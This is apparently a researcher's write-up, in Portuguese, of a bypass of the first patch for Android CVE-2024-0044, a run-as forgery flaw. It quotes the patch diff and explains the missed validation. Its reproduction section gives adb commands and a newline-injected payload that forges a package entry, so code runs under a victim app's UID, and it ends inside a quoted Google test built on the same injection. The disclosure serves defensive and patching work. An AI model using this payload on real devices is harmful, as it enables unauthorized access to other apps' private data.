CVE-2024-0044

CVE-2024-0044/A-307532206 é uma vulnerabilidade de alta gravidade no framework Android que permite que atacantes com acesso adb executem código arbitrário sob o UID de qualquer aplicativo. Foi originalmente descoberta por Tom Hebb do Meta Red Team X. Você pode encontrar muitos artigos sobre como explorar essa vulnerabilidade na Internet, como este e este. Para mais informações, confira este blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

O patch para essa vulnerabilidade foi incluído no Boletim de Segurança Android de março de 2024, mas agora criei um exploit que contorna o patch. O novo patch está incluído no Boletim de Segurança Android de outubro de 2024 sob o mesmo ID CVE-2024-0044. Dispositivos Android 12-13 com nível de patch de segurança anterior a 2024-10-01 estão vulneráveis a esse problema.

Este repositório contém um PoC mínimo reproduzível e um writeup.

O que há de errado com o patch original?

O patch adicionou uma validação para o nome do pacote do instalador passado ao PackageManagerService:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Você pode ver que params.installerPackageName será redefinido para null se não for um nome de pacote Android válido. No entanto, na linha seguinte, requestedInstallerPackageName pode ser installerPackageName quando params.installerPackageName é null ou inválido.

O que é installerPackageName?

Vamos dar uma olhada no método createSessionInternal, onde o patch foi adicionado:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Você pode ver que installerPackageName é um argumento separado que não vem de param. O patch original validou params.installerPackageName, mas esqueceu de validar installerPackageName.

Reprodução

Você pode simplesmente usar o código de exploit original do blog do Tom Hebb para reproduzir. Este repositório também contém um PoC mínimo reproduzível. Se quiser testar meu PoC, basta compilá-lo, enviar o apk gerado para /data/local/tmp/poc.apk, e então executar o seguinte código com adb shell:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <uid da vítima> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

substitua <uid da vítima> pelo UID do aplicativo vítima.

Se quiser jogar novamente, execute adb uninstall top.canyie.cve_2024_0044 e reexecute o código acima.

Como isso aconteceu duas vezes?

O problema parece óbvio, como escapou da vista de todos?

Bem, o Google adicionou um teste para esse problema para garantir que foi corrigido:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);